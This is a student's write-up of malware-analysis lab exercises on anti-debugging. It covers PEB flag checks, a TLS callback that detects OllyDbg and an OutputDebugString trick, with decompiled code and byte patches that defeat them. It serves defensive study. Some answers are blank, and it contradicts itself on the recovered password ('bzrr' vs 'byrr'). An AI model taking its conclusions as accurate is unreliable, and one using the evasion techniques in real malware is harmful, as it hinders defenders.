  1. Which anti-debugging techniques does this malware employ? Ans: checked BeingDebugged flag checked ProcessHeap flag checked NTGlobalFlag
  2. What happens when each anti-debugging technique succeeds? Ans: When the compare function succeed, it’ll execute sub_401000 function that will delete the file itself.
  3. How can you get around these anti-debugging techniques? Ans: Set EAX be 0 at 0040356A to get around BeingDebugged checking. Double click ZF to set it as 1 at 0040358D to get around ProcessHeap checking. Set EAX be 0 at 0040359E to get around NTGlobalFlag checking.
  4. How do you manually change the structures checked during run time? Ans: Just like what I showed above.
  5. Which OllyDbg plug-in will protect you from the anti-debugging techniques used by this malware? Ans: Refer to StackExchange, some people suggested ScyllaHide which is an open-source, actively developed anti-anti debug plugin. There are many hiding options in it. In addition, refer to other write up, they suggest Hyde, HideOD. Moreover, refer to other write up, they suggest PhontOm plugin can

Task 4: Lab 16-02.exe

Observation

First things first, I execute this sample without parameters and it seems to need a 4 character password.

Analyze

  • IDA Pro
    • Before using graph view, we must observe the whole program including the code before the main function to check if it has TLS Callback as below.
    • **`Lecture Note P76`**

      Using graph view in IDA. If it find a window named OLLYDBG($ ClassName), it’ll exit the process directly, otherwise, execute sub_401020().

      1
      2
      3
      4
      5
      6
      7
        void __stdcall TlsCallback_0(int a1, int a2, int a3)
        {
          if ( a2 == 1 && FindWindowA(ClassName, 0) )
            exit(0);
          if ( a2 == 2 )
            sub_401020();
        }
      
    • Now let’s check main function in IDA
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
        int __cdecl main(int argc, const char **argv, const char **envp)
        {
          int result; // eax
          DWORD ThreadId; // [esp+0h] [ebp-8h]
          int v5; // [esp+4h] [ebp-4h]
      
          v5 = 1;
          if ( argc == 1 )
          {
            printf(aUsageS4Charact, *argv);
            result = 0;
          }
          else
          {
            CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
            Sleep(1000u);
            v5 = strncmp(argv[1], &byte_408030, 4u);
            if ( v5 )
              printf(aIncorrectPassw);
            else
              printf(aYouEnteredTheC);
            result = 0;
          }
          return result;
        }
      
      • Note that, sub_402148 is just like Task 1 in HW1 is a printf function.

Question

  1. What happens when you run Lab16-02.exe from the command line? Ans: First things first, I execute this sample without parameters and it seems to need a 4 character password.
  2. What happens when you run Lab16-02.exe and guess the command-line parameter? Ans:
  3. What is the command-line password? Ans:

  4. Load Lab16-02.exe into IDA Pro. Where in the main function is strncmp found? Ans: strncmp was found at .tls:0040123A. And according to the disassembly code that shown above, it aim to compare &byte_408030 with 4 bytes(**`P}ÿÿ`**).

  5. What happens when you load this malware into OllyDbg using the default settings? Ans: It terminated directly without any analyzing.
  6. What is unique about the PE structure of Lab16-02.exe? Ans: Using PEview to check the header and find it has TLS Table.
  7. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.) Ans: Follow the hint, I found the callback location for TlsCallback_0 is 401060.
  8. Which anti-debugging technique is the program using to terminate immediately in the debugger and how can you avoid this check? Ans:
    • By the observation above, it’s obviously using TLS callback technique before main() to check if the user uses Ollydbg or not.
    • The simplest way to bypass this technique is using HxD tool to amend jz to jnz at 00401078, then it’ll not exit directly.
       ...
       .tls:00401076 85 C0                             test    eax, eax
       .tls:00401078 74 07                             jz      short loc_401081
       .tls:0040107A 6A 00                             push    0               ; int
       .tls:0040107C E8 AC 0F 00 00                    call    _exit
       ...
      
  9. What is the command-line password you see in the debugger after you disable the anti-debugging technique? Ans: I used x32dbg instead because Ollydbg cannot entry tTLS section. And the password I observed is P}ÿÿ.
  10. Does the password found in the debugger work on the command line? Ans: Not at all with byrr, p@ss, and P}ÿÿ.
  11. Which anti-debugging techniques account for the different passwords in the debugger and on the command line, and how can you protect against them? Ans: The correct answer in command line is **`bzrr`** without using debugger.

    Lecture Note P54 Refer to other write up

    Looking deeper into the TLS callback shows a second debugger check that looks for a changed error code after the call to OutputDebugString at 40103A. If no debugger is present, a new error should overwrite the existing value. Otherwise the global variable at 40A968 would be incremented. ```cpp=1 DWORD sub_401020() { DWORD result; // eax

    SetLastError(12345u); OutputDebugStringA(OutputString); result = GetLastError(); if ( result == 12345 ) ++byte_40A968; return result; } ``` Then what is the matter of this problem? In .tls:0040109B, it has the instruction(mov bl, byte_40A968) about password generation that will use global variable 40A968. Therefore, if the 2nd scanner judge the user that used the debugger, variable 40A968 will increase, and then the password will different. Solution: Since this variable is incremented only when a debugger is detected, the increment instruction should be patched so that the variable remains constant.

  • And another part that will affect password generation is BeingDebugged flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      int __cdecl main(int argc, const char **argv, const char **envp)
      {
          if( argc == 1 )
              ...
          else
          {
              CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
              Sleep(1000u);
              ...
          }
          ...
      }
    

    Note that, StartAddress is shown as below.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
      DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
      {
        unsigned int v1; // ebx
        signed int i; // ecx
        int v3; // ebx
    
        byte_408032 = 4 * __ROL1__(7, 6);
        byte_408032 ^= '?';
        byte_408032 *= 2;
        byte_408030 = __ROL1__(-112, 2);
        byte_408031 = byte_40A968 + __ROL1__(22, 6);
        byte_408031 *= 2;
        byte_408033 = 56;
        byte_408032 = __ROR1__(byte_408032, 7);
        v1 = __readfsdword('0');
        byte_408031 = __ROL1__(byte_408031, 4);
        byte_408030 = __ROR1__(__ROL1__(-112, 2), 3);
        byte_408030 ^= '\r';
        byte_408031 = __ROR1__(byte_408031, 5);
        byte_408032 ^= '�';
        byte_408033 = __ROR1__(__ROR1__(-3, 4), 1);
        byte_408032 = __ROR1__(byte_408032, 2);
        byte_408031 = __ROR1__(byte_408031, 1);
        byte_408031 ^= '�';
        byte_408030 = __ROL1__(byte_408030, 6);
        byte_408030 ^= 'r';
        LOBYTE(v1) = *(_BYTE *)(v1 + 2);
        byte_408031 = __ROL1__(byte_408031, 1);
        byte_408033 ^= '�';
        byte_408033 = __ROL1__(byte_408033, 7);
        byte_408032 += v1;
        for ( i = 4; i; --i )
        {
          v3 = i - 1;
          *(&byte_408030 + v3) &= '\x19';
          *(&byte_408030 + v3) += 97;
        }
        return 1;
      }
    

    Try to observe the assembly code of these program, then you will see some tricky

    1
    2
    3
    4
      ...
      .tls:0040112B                 mov     ebx, large fs:30h
      ...
      .tls:0040118B                 mov     bl, [ebx+2]
    

    Then according to other write up, just patched it as mov bl, 0, then done. Just like other write up said

    Another part of the password generation mechanism uses the BeingDebugged flag to compute values. `BeingDebugged` would be set to 0 if no debugger is present. The assignment of BeingDebugged was patched to always assign 0, in the generation function at 40118B.

  • Finally observe the byte code at 00408030, the password is **`byrr`**